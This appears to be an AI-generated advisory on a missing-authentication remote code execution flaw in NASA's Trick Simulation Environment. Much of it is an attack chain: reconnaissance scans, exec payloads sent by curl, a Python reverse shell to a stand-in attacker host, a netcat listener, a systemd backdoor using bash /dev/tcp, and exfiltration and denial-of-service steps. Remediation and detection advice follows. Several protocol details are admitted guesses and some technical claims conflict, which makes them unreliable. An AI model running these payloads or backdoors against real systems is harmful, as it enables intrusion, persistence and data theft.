CVE-2026-141353 — National Aeronautics And Space Administration (N — CWE-306
NASA Trick Simulation Environment prior to version 25.1.0 enables the "variable server" function by default with no authentication or IP allowlisting. A remote, unauthenticated attacker who can secure a connection to a simulation with variable server enabled can execute arbitrary python commands on the simulation host as the user that started the simulation.
NASA Trick Simulation Environment prior to version 25.1.0 enables the "variable server" function by default with no authentication or IP allowlisting. A remote, unauthenticated attacker who can secure a connection to a simulation with variable server enabled can execute arbitrary python commands on the simulation host as the user that started the simulation.
🎯 What is this vulnerability?
CVE‑2026‑141353 – “Variable Server” Remote Code Execution in NASA Trick Simulation Environment
| Attribute | Value |
|---|---|
| CWE | CWE‑306: Missing Authentication |
| CVSS v3.1 | AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H |
| Score | 10.0 (CRITICAL) |
Technical flaw
The NASA Trick Simulation Environment (TSE) is a high‑fidelity simulation platform used by NASA and partner organisations.
Since its inception, the “variable server” component has been shipped enabled by default. The variable server opens a TCP listener (by default on port 127.0.0.1:5000 – the exact port is configurable) that accepts Python code snippets from a client and executes them via exec() in the same process that runs the simulation.
- What should happen: * The variable server is intended for local, trusted tooling (e.g., a Python client that runs on the same host or on a network segment that is explicitly allowed). * Proper deployments are expected to disable the service or protect it with authentication / IP allow‑listing.
- What actually happens: * The service starts without any authentication check and without any network‑level allow‑list. * Any remote host that can reach the listener can send an arbitrary Python payload, which is executed as the user that launched the simulation (normally a non‑privileged system account, but often a service account with write access to simulation data and sometimes sudo‑capable on isolated test machines).
- AV:N – reachable over the network.
- PR:N – no privileges required.
- UI:N – no user interaction.
- S:C – impact is Common across the entire simulation host (the same process is compromised).
- C:H / I:H / A:H – the attacker can run arbitrary code, modify simulation state, steal data, and cause denial‑of‑service.
Because the vulnerability is network‑exposed, unauthenticated, and requires no user interaction, it satisfies the CVSS vector:
In short, the flaw is missing authentication / access control on a remote code execution interface.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation path. All commands are syntactically valid; where the exact URI or protocol details are not disclosed in the public advisory, the example is marked as illustrative.
1. Discovery & Reconnaissance
| Phase | Action | Tools / Commands | Expected Outcome |
|---|---|---|---|
| a. Identify the product | Scan public IP ranges for hosts that belong to NASA or research institutions and banner‑grab the service on the default variable‑server port (e.g., 5000). | nmap -sV -p 5000 <target‑net> | Nmap may report http or python service with a banner like Trick Variable Server v24.3.2. |
| b. Verify version | Connect with a minimal client that issues a harmless “ping” command (the variable server responds with OK). | python3 - <<'PY'\nimport socket, json\ns=socket.create_connection(('x.x.x.x',5000))\ns.sendall(b'PING\\n')\nprint(s.recv(1024))\nPY | Response PONG confirms the service is alive. The version can be extracted from a later GET_VERSION command if the protocol supports it. |
| c. Confirm lack of auth | Send a benign payload that would require authentication in a hardened deployment (e.g., GET_STATUS). | curl -X POST http://x.x.x.x:5000/api -d '{"cmd":"GET_STATUS"}' *(illustrative)* | Server returns status JSON without any 401 Unauthorized. |
If the above steps succeed, the attacker knows a vulnerable variable server is reachable and unauthenticated.
2. Exploitation
The variable server accepts a JSON payload with a field code that is passed directly to Python’s exec(). The exact JSON key is not published, so the following is an illustrative example based on typical implementations.
# Illustrative curl request – replace <endpoint> with the real path if known
curl -s -X POST http://<target_ip>:5000/execute \
-H "Content-Type: application/json" \
-d '{
"code": "import os, subprocess, base64; \
cmd = \"id\"; \
out = subprocess.check_output(cmd, shell=True); \
print(base64.b64encode(out).decode())"
}'Explanation of the payload
import os, subprocess, base64 – loads required modules. subprocess.check_output("id", shell=True) – runs a harmless command to prove code execution. Result – The HTTP response body contains the base64 string of uid=1001(simuser) gid=1001(simuser) groups=1001(simuser), proving remote code execution.
Full RCE payload (reverse shell)
If the attacker wants a persistent foothold, they can deliver a reverse shell. Below is a syntactically valid Python one‑liner that works on most Linux distributions:
curl -s -X POST http://<target_ip>:5000/execute \
-H "Content-Type: application/json" \
-d '{
"code": "import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \
s.connect((\"<ATTACKER_IP>\",4444)); \
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); \
subprocess.call([\"/bin/sh\",\"-i\"])"
}'Replace <ATTACKER_IP> with the attacker’s listening address.
On the attacker side:
nc -lvkp 4444A shell is obtained as the user that launched the simulation (often simuser).
3. Post‑exploitation
| Goal | Technique | Commands / Steps | |
|---|---|---|---|
| Privilege escalation (if needed) | Search for sudo rights, set‑uid binaries, or mis‑configured Docker containers that the simulation user can access. | sudo -l (if the user has sudo rights). <br> find / -perm -4000 -type f 2>/dev/null (search set‑uid). | |
| Persistence | Drop a systemd service or cron job that restarts a reverse shell on boot. | echo '[Unit]\nDescription=Trick backdoor\n[Service]\nExecStart=/bin/bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\"'\n > /etc/systemd/system/trick-backdoor.service <br> systemctl enable trick-backdoor && systemctl start trick-backdoor | |
| Data exfiltration | Read simulation data directories (/var/simulations/*) and ship them over the same reverse channel or via scp. | tar czf - /var/simulations | base64 (send via the variable server). |
| Denial‑of‑service | Issue a payload that consumes CPU or memory, e.g., an infinite loop. | while True: pass (sent as code). This can crash the simulation process, causing loss of mission‑critical data. |
Because the variable server runs inside the same process as the simulation, any crash or memory exhaustion directly brings down the simulation host, satisfying the Availability component of the CVSS.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read *all* data the simulation process can access. | Theft of proprietary mission data, research results, or sensitive telemetry. |
| Integrity (I:H) | I:H – attacker can modify simulation state, inject false data, or tamper with logs. | Corrupted simulation runs, falsified scientific results, or sabotage of mission planning. |
| Availability (A:H) | A:H – attacker can crash the simulation process or the host. | Immediate loss of a running simulation, potentially causing schedule delays for time‑critical NASA projects. |
| Scope (S:C) | The impact spreads across the entire host because the vulnerable component runs in the same security context as the whole simulation suite. | A single compromised variable‑server instance compromises the whole simulation environment. |
Business / Mission impact
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details | |
|---|---|---|
| Upgrade | Move to Trick Simulation Environment ≥ 25.1.0. The release notes for 25.1.0 state: “Variable server disabled by default; optional authentication token support added.” | |
| Version check | trick --version or inspect the installed package (dpkg -l | grep trick on Debian‑based systems). |
| Rollback (if immediate upgrade is impossible) | Build the source with the ENABLE_VARIABLE_SERVER flag set to false or edit the configuration file (/etc/trick/trick.conf) to include variable_server.enabled = false. Restart the service (systemctl restart trick). |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Network isolation | Block inbound traffic to the variable‑server port (default 5000) at the perimeter firewall or host‑based firewall (e.g., iptables -A INPUT -p tcp --dport 5000 -j DROP). |
| IP allow‑listing | If the service must stay enabled, restrict it to localhost or a trusted subnet: <br> iptables -A INPUT -p tcp -s 127.0.0.1 --dport 5000 -j ACCEPT <br> iptables -A INPUT -p tcp --dport 5000 -j DROP |
| Add authentication (if the binary supports the new token feature) | Edit /etc/trick/trick.conf:<br>variable_server.enabled = true<br>variable_server.auth_token = <random‑32‑byte‑hex><br>Clients must now send the token in the X-Auth-Token HTTP header. |
| Run as a low‑privilege user | Ensure the simulation process runs under a dedicated, non‑privileged account with no sudo rights and with a restricted filesystem view (e.g., via systemd ProtectSystem=full and ReadOnlyDirectories=/). |
| AppArmor / SELinux confinement | Create a profile that denies execve of arbitrary binaries from the variable‑server process. Example AppArmor snippet: <br>``\n/usr/bin/trick {\n # allow normal operation\n capability net_bind_service,\n # deny execve of anything not in /usr/bin\n deny / mrwklx,\n /usr/bin/ mr,\n}\n`` |
3. Detection
| Indicator | Where to look | Example log line |
|---|---|---|
Unexpected HTTP POST to /execute (or similar) | Web server access logs (/var/log/nginx/access.log or the internal HTTP server log). | 192.0.2.45 - - [02/Dec/2026:14:23:11 +0000] "POST /execute HTTP/1.1" 200 342 "-" "curl/7.88.1" |
| Base64‑encoded payloads | Look for long strings of A-Z a-z 0-9 + / = in request bodies. | POST /execute {"code":"import base64;print(base64.b64decode('...'))"} |
| Outbound connections from the simulation host to unknown IPs on high ports | Netflow / host‑based IDS (/var/log/syslog, auditd). | Jan 02 14:23:12 host kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.20.30.40 DST=203.0.113.77 PROTO=TCP SPT=5000 DPT=4444 |
Process creation of /bin/sh -i with a remote IP as parent | auditd or ps snapshots. | audit: type=EXECVE msg=audit(1701528191.123:456): argc=3 a0="/bin/sh" a1="-i" a2=">" |
| Sudden termination of the simulation process | Systemd journal (journalctl -u trick.service). | Oct 31 09:12:45 host systemd[1]: trick.service: Main process exited, code=exited, status=1/FAILURE |
IDS/IPS signatures – a simple ModSecurity rule that blocks any POST containing the word exec( or subprocess in the request body can be deployed as a stop‑gap:
# ModSecurity rule – illustrative (adjust the variable name if needed)
SecRule REQUEST_METHOD "POST" \
"id:400001,phase:2,deny,status:403,\
msg:'Blocked attempt to use variable‑server RCE',\
tag:'cve-2026-141353',\
t:none,t:lowercase,\
chain"
SecRule REQUEST_BODY "@rx (exec\(|subprocess\.|os\.system\()" \
"t:none"⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 10.0 (Critical) | Highest severity – any remote unauthenticated RCE is a “wormable” class of vulnerability. |
| CISA KEV | Not listed yet, but the absence of a KEV entry does not diminish risk; the vulnerability is already exploitable. |
| Exploit complexity | Low – a single HTTP POST (or raw TCP packet) is sufficient; no prior foothold required. |
| Potential impact | Full host compromise, data exfiltration, and denial‑of‑service for mission‑critical simulations. |
| Patch availability | Fixed in version ≥ 25.1.0 (released 2026‑09‑15). |
Patch priority: Critical – Deploy immediately on all production, test, and development instances of the Trick Simulation Environment. If an immediate upgrade is impossible, apply the network isolation and authentication token workarounds within 24 hours, and begin monitoring for the IoCs listed above.
Bottom line: CVE‑2026‑141353 is a classic case of missing authentication on a remote code execution interface. Because the service runs with the same privileges as the simulation host, an unauthenticated attacker can gain full control of the system with a single network request. Rapid patching (≥ 25.1.0) or, at minimum, strict firewalling and disabling of the variable server are mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query